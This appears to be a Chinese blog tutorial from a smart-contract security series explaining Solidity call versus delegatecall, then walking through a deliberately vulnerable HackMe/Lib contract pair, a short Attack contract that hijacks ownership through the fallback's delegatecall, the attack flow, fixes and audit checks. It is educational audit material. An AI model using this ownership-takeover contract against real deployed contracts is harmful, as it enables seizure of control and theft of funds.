【区块链安全 | 第三十九篇】合约审计之delegatecall(一)

发布于:2025-04-13 ⋅ 阅读:(21) ⋅ 点赞:(0)

在这里插入图片描述

外部调用函数

在 Solidity 中,常见的两种底层外部函数调用方式是:call 和 delegatecall。

说明:callcode 已在 Solidity 0.5.0 版本后弃用,不再推荐使用,因此本文不再介绍。

call

call 是一种底层调用方法,适用于向其他合约发送消息或调用函数,同时也支持附带以太币(Ether)。它语法灵活,常用于动态调用。

(bool success, bytes memory data) = target.call{value: msg.value}(abi.encodeWithSignature("func(uint256)", 123));

特点:
1.使用的是目标合约的代码和存储环境;
2.当前合约的 msg.sender 和 msg.value 不会传递给被调用合约;
3.返回值为 (bool success, bytes memory data),失败时不会自动回退(revert),需手动处理;
4.常用于与未知接口或外部插件合约交互(如代理合约);
5.可发送 Ether,适用于多种场景。

delegatecall

delegatecall 也是底层调用方式,但与 call 不同,其执行上下文是当前合约的环境。

(bool success, bytes memory data) = target.delegatecall(abi.encodeWithSignature("func(uint256)", 123));

特点:
1.调用目标合约的代码,但使用的是当前合约的存储(storage)、msg.sender 和 msg.value;
2.目标合约不应定义自己的状态变量,否则可能引发存储冲突;
3.常用于代理合约(Proxy Pattern)与可升级合约场景;
4.存在安全风险,需谨慎使用被调用合约,防止覆盖关键变量。

call 与 delegatecall 的区别示例

我们通过一个对比实验,直观理解两者在执行环境中的差异。

编写并部署如下的 A 合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract A {
    address public a;

    function test() public returns (address b) {
        b = address(this); // 获取当前合约地址
        a = b;             // 保存到状态变量 a 中
    }
}

在这里插入图片描述

合约部署完成后,记录合约 A 地址为 0xcD6a42782d230D7c13A74ddec5dD140e55499Df9。

我们将 A 合约地址填入 B 合约中,并部署如下代码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract B {
    address public a;

    // A 合约地址
    address Aaddress = address(0xcD6a42782d230D7c13A74ddec5dD140e55499Df9);

    // 使用 call 调用 A.test(),并检查返回值
    function testCall() public {
        (bool success, ) = Aaddress.call(abi.encodeWithSignature("test()"));
        require(success, "call failed");
    }

    // 使用 delegatecall 调用 A.test(),并检查返回值
    function testDelegatecall() public {
        (bool success, ) = Aaddress.delegatecall(abi.encodeWithSignature("test()"));
        require(success, "delegatecall failed");
    }
}

部署后初始状态

在未调用任何函数前,查看合约 A 和 B 中 a 变量的值。

A 合约的 a 为地址 0(即未被赋值):

在这里插入图片描述

B 合约的 a 同样为地址 0:

在这里插入图片描述

当我们分别调用 B.testCall() 和 B.testDelegatecall() 时,它们都会以不同的方式调用 A 合约中的 test() 函数。

让我们观察在这两种调用方式下,A 合约和 B 合约中的 a 变量会发生怎样的变化。

调用B.testCall()函数

我们首先调用 B.testCall() 函数:

在这里插入图片描述

调用完成后,我们先查看 B 合约中 address a 的值,发现它并未发生变化:

在这里插入图片描述

接下来我们查看 A 合约中的 address a,可以看到它已经被赋值,当前值为 0xcD6a42782d230D7c13A74ddec5dD140e55499Df9,与我们之前部署的 A 合约地址一致:

在这里插入图片描述

也就是说,当合约 B 使用 call 函数调用合约 A 的外部函数时,变量 a 的赋值结果来源于合约 A 在其自身上下文中执行操作后的返回值。

由此我们可以得出结论:当合约 B 通过 call 函数调用外部函数时,执行的是被调用合约 A 的代码逻辑,并在被调用合约的存储上下文中完成操作,因此不会影响当前调用合约自身的状态数据。

调用B.testDelegatecall()函数

先重新部署 A 和 B 合约(以清除旧数据)

在调用 B.testDelegatecall() 函数之前,先查看 A 合约中 address a 的值,尚未赋值:

在这里插入图片描述

可以看到,B 合约中的 address a 也尚未赋值,同时我们确认当前 B 合约的地址为:0x5FD6eB55D12E759a21C09eF703fe0CBa1DC9d88D:

在这里插入图片描述

接下来我们调用 B.testDelegatecall() 函数:

在这里插入图片描述

调用之后,我们查看 B 合约中 address a 的值,可以看到它已被赋值为 0x5FD6eB55D12E759a21C09eF703fe0CBa1DC9d88D,也就是当前 B 合约的地址:

在这里插入图片描述

随后我们再次查看 A 合约中的 address a,结果发现其值并未发生改变:

在这里插入图片描述

因此,当我们使用 B.testDelegatecall() 调用 A.test() 时,test 函数的代码逻辑是在 B 合约的环境中执行的,实际上是将 A 合约中的 test() 函数的代码带入 B 合约执行。因此,B 合约的地址被赋值给了变量 a,但这一操作并不会影响 A 合约中的数据。

区别总结

1.当合约 B 使用 call 调用合约 A 的外部函数时,调用发生在合约 A 的上下文中,返回的结果来自合约 A 执行后的值,且不会影响合约 B 的存储。调用时,合约 B 的状态不会受到影响。

2.当合约 B 使用 delegatecall 调用合约 A 的函数时,执行发生在合约 B 的上下文中,且所有的存储操作都会影响 B 合约的状态而非 A 合约。因此,B 合约的地址被赋值给了 a,而 A 合约的数据保持不变。

3.call 是在被调用合约的环境中执行的,而 delegatecall 则是在调用合约的环境中执行,且会修改调用合约的存储。

漏洞代码

存在一漏洞代码如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

// 定义一个名为 Lib 的合约
contract Lib {
    address public owner;

    // pwn 函数会将合约的 owner 设置为调用者的地址
    function pwn() public {
        owner = msg.sender; // 将合约的 owner 地址设置为调用者(msg.sender)
    }
}

// 定义一个名为 HackMe 的合约
contract HackMe {
    address public owner; // 合约的拥有者
    Lib public lib; // 引用 Lib 合约的地址

    // 构造函数,接收一个 Lib 合约的地址作为参数
    constructor(Lib _lib) {
        owner = msg.sender; // 设置 HackMe 合约的拥有者为部署者
        lib = Lib(_lib); // 初始化 Lib 合约的地址
    }

    // fallback 函数,当合约接收到以太币时,执行 delegatecall 调用 Lib 合约的 pwn 函数
    fallback() external payable {
        address(lib).delegatecall(msg.data); // 使用 delegatecall 调用 Lib 合约的函数,并传递调用的数据
    }
}

代码审计

上述代码中,Lib 合约包含一个 pwn() 函数,其作用是将合约中的 owner 设置为当前调用者的地址(msg.sender)。

HackMe 合约维护了一个 owner 变量和一个 Lib 合约实例 lib。在构造函数中,lib 的地址被初始化,同时将 owner 设置为部署者。

当 HackMe 合约收到以太币或被调用但函数签名未匹配时,fallback() 函数会触发,并通过 delegatecall 调用 Lib 合约中的方法,并将调用数据 msg.data 传递进去。

由于 delegatecall 会在当前合约(即 HackMe)的上下文中执行目标合约(即 Lib)的代码,攻击者可以通过调用 HackMe.pwn() 来执行 Lib.pwn(),从而将 HackMe 合约中的 owner 更改为自己。

攻击代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

// Attack 合约
contract Attack {

    address public hackMe;

    // 构造函数,通过传入 HackMe 合约地址初始化 hackMe
    constructor(address _hackMe) {
        hackMe = _hackMe;  // 保存 HackMe 合约的地址
    }

    // 攻击函数,通过调用 HackMe 合约的 pwn() 函数来执行攻击(存在这个函数吗?接着往下看)
    function attack() public {
        hackMe.call(abi.encodeWithSignature("pwn()"));
    }
}

攻击原理解析

我们先回顾一下 fallback 函数的触发时机:

  • 向合约地址直接发送以太币时;

  • 调用合约中不存在的函数时。

在本攻击场景中,attack() 函数调用 HackMe.pwn(),但 HackMe 中并未定义该函数,于是 fallback 被触发。fallback 中的 delegatecall(msg.data) 使用调用数据 “pwn()” 去调用 Lib.pwn(),而 Lib 中恰好存在该函数。

关键点在于:由于使用的是 delegatecall,所以 Lib.pwn() 实际是在 HackMe 的上下文中执行,修改的也是 HackMe 的存储空间。更具体地说,pwn() 函数修改的是第一个状态变量 owner,刚好与 HackMe 中的存储位置匹配,于是 HackMe 的 owner 被成功篡改。

简而言之,攻击者等于是将 Lib.pwn() 拿到 HackMe 合约中执行,实现了对 HackMe 控制权的劫持。

攻击流程

我们以角色 User(受害者)和 Attacker(攻击者)为例,梳理整个攻击过程如下:

1、User 部署 Lib 合约;

2、User 部署 HackMe 合约,并将 Lib 合约地址作为构造参数传入;

3、Attacker 部署 Attack 合约,并传入 HackMe 合约地址;

4、Attacker 调用 Attack.attack(),从而通过 delegatecall 执行 Lib.pwn();

5、HackMe 合约中的 owner 被成功更改为 Attacker。

6、Attacker 可提取合约中所有的 ETH 或 Token;升级合约逻辑为恶意代码等。

修复建议

通过这个例子我们可以清晰看到 delegatecall 带来的安全隐患 —— 如果调用的外部合约不可信或不受控,很可能造成严重的数据篡改或权限劫持问题。因此,在设计合约架构时,应注意以下两点。

1.在使用 delegatecall 时,应确保被调用合约的地址是可信且不可由外部用户控制的。推荐的做法是将目标地址硬编码(写死一个你自己部署、你知道安全的合约地址),或通过白名单机制进行管理,防止恶意地址注入。

如果目标地址是外部可控的,会发生什么?

举个例子:

fallback() external payable {
    address(_someUserInput).delegatecall(msg.data);
}

假设上面这段代码的 _someUserInput 是用户传进来的地址,此时攻击者可以传一个他部署的恶意合约地址进来,然后通过 delegatecall,在你的合约中执行他的恶意代码,直接改写你合约里的变量,比如 owner、余额等。

2.在复杂合约中使用 delegatecall 时,应确保调用者与被调用合约之间的存储结构保持一致。特别是变量的声明顺序和类型必须严格对应,否则容易因存储插槽错位而导致意外的数据覆盖或逻辑错误。

为什么?这是因为 delegatecall 有一个关键特性:当涉及 storage 变量的修改时,变量的赋值是基于存储插槽的位置(slot)而不是变量名进行的。

举例来说:

1.在 A 合约中,address c 被存储在 slot0,而 address a 被存储在 slot1;

2.在 B 合约中,address a 被存储在 slot0,而 address c 被存储在 slot1;

3.当 B 合约通过 delegatecall 调用 A 合约的 test 函数时,该函数原本用于修改 A 合约中的变量 a,即 slot1 中的数据;

4.然而,在 delegatecall 的上下文中,slot1 实际映射的是 B 合约中的变量 c,因此最终被修改的是 B 合约中的 c,而不是预期的 a。

审计思路

1.在审计中,如发现合约使用了 delegatecall,需重点检查目标合约地址是否有被攻击者控制的可能。如果地址是可控的,即存在外部调用者传入的风险,应视为高危漏洞。

2.若被调用的合约中包含对 storage 变量的修改,审计者应对比其与调用方合约的变量声明顺序和存储插槽分布,确认两者结构是否一致,避免 delegatecall 引发变量误覆盖或权限篡改问题。

最后,推荐继续阅读【区块链安全 | 第四十篇】合约审计之delegatecall(二)


网站公告

今日签到

点亮在社区的每一天
去签到